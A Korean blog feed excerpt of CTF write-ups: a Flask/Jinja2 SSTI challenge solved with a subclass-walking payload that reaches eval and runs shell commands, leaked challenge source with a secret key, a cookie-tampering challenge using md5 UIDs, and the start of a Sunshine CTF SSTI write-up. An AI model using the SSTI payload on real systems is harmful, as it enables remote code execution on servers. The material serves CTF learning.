&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c17FAT/btqt1XPtZV2/ZTqyGTw8nZOQO46DkRKPPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c17FAT/btqt1XPtZV2/ZTqyGTw8nZOQO46DkRKPPK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c17FAT/btqt1XPtZV2/ZTqyGTw8nZOQO46DkRKPPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc17FAT%2Fbtqt1XPtZV2%2FZTqyGTw8nZOQO46DkRKPPK%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;서버 엔진은 응답헤더에서 확인할 수 있는 정보입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;brush:plain django&quot;&gt;{% for c in [].__class__.__base__.__subclasses__() %}
	{% if c.__name__ == 'catch_warnings' %}
			{% for b in c.__init__.__globals__.values() %}
				{% if b.__class__ == {}.__class__ %}
					{% if 'eval' in b.keys() %}
						{{b['eval'](&quot;__import__('os').popen(__import__('base64').urlsafe_b64decode('bHM=').decode()).read()&quot;)}}
					{% endif %}
				{% endif %}
			{% endfor %}
	{% endif %}
{% endfor %}&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bh8USl/btqt25sIrPL/OvJdAbbc3FbXY4pv0FxyZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bh8USl/btqt25sIrPL/OvJdAbbc3FbXY4pv0FxyZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bh8USl/btqt25sIrPL/OvJdAbbc3FbXY4pv0FxyZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbh8USl%2Fbtqt25sIrPL%2FOvJdAbbc3FbXY4pv0FxyZ0%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;위 페이로드를 URI 인코딩하여 삽입하는 것으로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;RCE 가 가능했습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;bHM=&lt;/b&gt; 은 ls 를 base64 인코딩한 문자열 입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZLixL/btqt7R7BVC9/44UndtRFJtVXnofc8pduYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZLixL/btqt7R7BVC9/44UndtRFJtVXnofc8pduYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZLixL/btqt7R7BVC9/44UndtRFJtVXnofc8pduYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZLixL%2Fbtqt7R7BVC9%2F44UndtRFJtVXnofc8pduYk%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;cat flag.txt 명령어를 사용해 주면 플래그를 확인할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;아래는 동일 취약점을 통해 얻어낸 페이지 소스로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;참고를 위해 올립니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;brush:py python&quot;&gt;from flask import Flask, render_template, request, render_template_string
import random

app = Flask(__name__)

app.secret_key = &quot;cf49d97a5680998cbddbee283eeb03adbeda772b&quot;

@app.route(&quot;/lol_no_one_will_see_whats_here&quot;)
def troll1():
    return render_template(&quot;troll1.html&quot;)

@app.route(&quot;/what_are_you_searching_for&quot;)
def troll2():
    return render_template(&quot;troll2.html&quot;)

@app.route(&quot;/&quot;, methods=[&quot;GET&quot;])
def inject():
    hints = [&quot;Lz9zZWNyZXQ9ZmxhZw==&quot;, &quot;L2xvbF9ub19vbmVfd2lsbF9zZWVfd2hhdHNfaGVyZQ==&quot;, 
             &quot;d2hhdF9hcmVfeW91X3NlYXJjaGluZ19mb3IK&quot;];
    hint = hints[random.randint(0, len(hints)-1)]
    secret = request.args.get(&quot;secret&quot;, default=&quot;&quot;)
    template = &quot;&quot;&quot;


    
    repeaaaaaat
    
      SCRIPT
      
        
        function repeat() {
            for(var i=0; i&amp;amp;lt;10; i++) {
            lol = document.createElement(&quot;img&quot;)
            lol.src = &quot;/static/lol.png&quot;
            var shit = document.getElementById(shit')
            shit.appendChild(lol)
            }
        }
    
      
    Hello,             %s &quot;&quot;&quot; % (secret, hint) return render_template_string(template) if __name__ == &quot;__main__&quot;: app.run(debug=True)&lt;/pre&gt;</description>
      <category>CTF Writups</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/92</guid>
      <comments>https://posix.tistory.com/92#entry92comment</comments>
      <pubDate>Wed, 3 Apr 2019 16:40:34 +0900</pubDate>
    </item>
    <item>
      <title>Sweet 문제풀이</title>
      <link>https://posix.tistory.com/91</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjhg8G/btqt2a8Qb4Y/d4iTgB09RwuxFpzlFQGYKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjhg8G/btqt2a8Qb4Y/d4iTgB09RwuxFpzlFQGYKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjhg8G/btqt2a8Qb4Y/d4iTgB09RwuxFpzlFQGYKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbjhg8G%2Fbtqt2a8Qb4Y%2Fd4iTgB09RwuxFpzlFQGYKK%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Encrypt CTF web 1번&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;쿠키 변조 문제입니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwEgQw/btqt7sUxCSv/Gi401Qv8I5BqFRSOuUYrW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwEgQw/btqt7sUxCSv/Gi401Qv8I5BqFRSOuUYrW1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwEgQw/btqt7sUxCSv/Gi401Qv8I5BqFRSOuUYrW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwEgQw%2Fbtqt7sUxCSv%2FGi401Qv8I5BqFRSOuUYrW1%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;링크에 접속해 새로고침을 두어번 하다보면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;본 적 없던 쿠기 값들이 눈에 띕니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWkfob/btqt19PEnyh/AwZfWTjMxAox8NVKS41FwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWkfob/btqt19PEnyh/AwZfWTjMxAox8NVKS41FwK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWkfob/btqt19PEnyh/AwZfWTjMxAox8NVKS41FwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWkfob%2Fbtqt19PEnyh%2FAwZfWTjMxAox8NVKS41FwK%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이미 동일한 값으로 설정되었음에도&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;Set-Cookie: FLAG=...&lt;/b&gt; 헤더를 보내오는데요.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eNvXTR/btqt2aA5VTx/SA0Lwlzcq3xK1NkxAgCCX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eNvXTR/btqt2aA5VTx/SA0Lwlzcq3xK1NkxAgCCX1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eNvXTR/btqt2aA5VTx/SA0Lwlzcq3xK1NkxAgCCX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeNvXTR%2Fbtqt2aA5VTx%2FSA0Lwlzcq3xK1NkxAgCCX1%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;세션 토큰을 제외한 쿠키들을 모두 삭제하고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;다시금 페이지를 요청하면 &lt;b&gt;Set-Cookie: UID=...&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;헤더가 전송되어 오는 것을 확인할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;brush:plain stylus&quot;&gt;md5('100') = f899139df5e1059396431415e770c6dd&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;몇번을 재요청해도&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;f899139df5e1059396431415e770c6dd&lt;/b&gt; 으로만 설정되는&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이 &lt;b&gt;UID&lt;/b&gt; 값은 100을 &lt;b&gt;md5&lt;/b&gt; 해싱한 값과 동일합니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;33.PNG&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dC3pfZ/btqt24USKg8/6JWvkQXfYS2F5duE0CKETK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dC3pfZ/btqt24USKg8/6JWvkQXfYS2F5duE0CKETK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dC3pfZ/btqt24USKg8/6JWvkQXfYS2F5duE0CKETK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdC3pfZ%2Fbtqt24USKg8%2F6JWvkQXfYS2F5duE0CKETK%2Fimg.png&quot; data-filename=&quot;33.PNG&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;분기문에 쓰일 것이라고 추측하여&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;md5('0') 값을 UID에 넣어 재요청해보니&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFU9Zl/btqt3h7w8Mz/bDOKfseW2ZFwMUL7TR8wBk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFU9Zl/btqt3h7w8Mz/bDOKfseW2ZFwMUL7TR8wBk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFU9Zl/btqt3h7w8Mz/bDOKfseW2ZFwMUL7TR8wBk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFU9Zl%2Fbtqt3h7w8Mz%2FbDOKfseW2ZFwMUL7TR8wBk%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;플래그를 얻어낼 수 있었습니다.&lt;/p&gt;</description>
      <category>CTF Writups</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/91</guid>
      <comments>https://posix.tistory.com/91#entry91comment</comments>
      <pubDate>Wed, 3 Apr 2019 16:23:09 +0900</pubDate>
    </item>
    <item>
      <title>Portfolio 문제풀이</title>
      <link>https://posix.tistory.com/90</link>
      <description>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/o9QR0/btqt0UwU38M/VeUk4AheKkemjrkIwRYMW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/o9QR0/btqt0UwU38M/VeUk4AheKkemjrkIwRYMW0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/o9QR0/btqt0UwU38M/VeUk4AheKkemjrkIwRYMW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fo9QR0%2Fbtqt0UwU38M%2FVeUk4AheKkemjrkIwRYMW0%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Sunshine CTF web 3번&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Flask SSTI Injection 문제입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXX8Pj/btqt1lgKR03/I0uAkSQkohikAKjRJVyyF1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXX8Pj/btqt1lgKR03/I0uAkSQkohikAKjRJVyyF1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXX8Pj/btqt1lgKR03/I0uAkSQkohikAKjRJVyyF1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXX8Pj%2Fbtqt1lgKR03%2FI0uAkSQkohikAKjRJVyyF1%2Fimg.png&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;주소에 접속하면 두개의 페이지 링크가 존재합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;상단의 Custom greeting을 먼저 살펴보겠습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BTYcj/btqt1j4j85h/4g57ktJmfpC7UWN0KOPLEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BTYcj/btqt1j4j85h/4g57ktJmfpC7UWN0KOPLEk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BTYcj/btqt1j4j85h/4g57ktJmfpC7UWN0KOPLEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBTYcj%2Fbtqt1j4j85h%2F4g57ktJmfpC7UWN0KOPLEk%2Fimg.png&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;/hello/name&lt;/b&gt;&amp;nbsp;주소로 바로 연결되고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;파이썬 웹 프레임워크&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;Flask&lt;/b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;를 사용하고 있다고 알려주네요.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;뒤의 name 부분은 자유롭게 변경이 가능합니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dbcbRL/btqt0aAePfO/B7aBwuiKFSi3G1MkRYn0Z1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dbcbRL/btqt0aAePfO/B7aBwuiKFSi3G1MkRYn0Z1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dbcbRL/btqt0aAePfO/B7aBwuiKFSi3G1MkRYn0Z1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdbcbRL%2Fbtqt0aAePfO%2FB7aBwuiKFSi3G1MkRYn0Z1%2Fimg.png&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;바로 &lt;b&gt;SSTI&lt;/b&gt;가 가능한지 확인해 보기 위해서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;49&lt;/b&gt;를 기대하고 &lt;b&gt;{{7*7}}&lt;/b&gt;를 삽입해 보았습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;그러나 escape되는 듯 적용되지 않습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lMEjc/btqtYnHLotU/8QKjWYSiRXHkBmzWmhOcJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lMEjc/btqtYnHLotU/8QKjWYSiRXHkBmzWmhOcJ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lMEjc/btqtYnHLotU/8QKjWYSiRXHkBmzWmhOcJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlMEjc%2FbtqtYnHLotU%2F8QKjWYSiRXHkBmzWmhOcJ0%2Fimg.png&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;두번째 페이지를 살펴 보겠습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;단일 입력 폼이 보이는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;제출해도 간단한 텍스트가 출력되는 것이 전부입니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDG3cn/btqt0a740AQ/pKPq2AzsVBpmSoEwt2yjvK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDG3cn/btqt0a740AQ/pKPq2AzsVBpmSoEwt2yjvK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDG3cn/btqt0a740AQ/pKPq2AzsVBpmSoEwt2yjvK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDG3cn%2Fbtqt0a740AQ%2FpKPq2AzsVBpmSoEwt2yjvK%2Fimg.png&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;그런데 소스를 보면 주석화된 옵션이 존재합니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;7.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Anl8B/btqtYnnuYAZ/H5kmk0aibOCRcHH297ewU0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Anl8B/btqtYnnuYAZ/H5kmk0aibOCRcHH297ewU0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Anl8B/btqtYnnuYAZ/H5kmk0aibOCRcHH297ewU0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAnl8B%2FbtqtYnnuYAZ%2FH5kmk0aibOCRcHH297ewU0%2Fimg.png&quot; data-filename=&quot;7.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;템플릿을 확인해 보니 &lt;b&gt;config.DEBUG&lt;/b&gt; 가 설정되어 있으면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;플래그를 출력하도록 되어 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;8.PNG&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cZMTfv/btqtYsWlC5r/dscwFw0CFxihqTRmVUkg1K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cZMTfv/btqtYsWlC5r/dscwFw0CFxihqTRmVUkg1K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cZMTfv/btqtYsWlC5r/dscwFw0CFxihqTRmVUkg1K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcZMTfv%2FbtqtYsWlC5r%2FdscwFw0CFxihqTRmVUkg1K%2Fimg.png&quot; data-filename=&quot;8.PNG&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;실제로 페이지를 보내 요청해보면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;플래그는 보이지 않으니, &lt;b&gt;config.DEBUG&lt;/b&gt;가 설정되지 않은 상태인듯 하죠.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
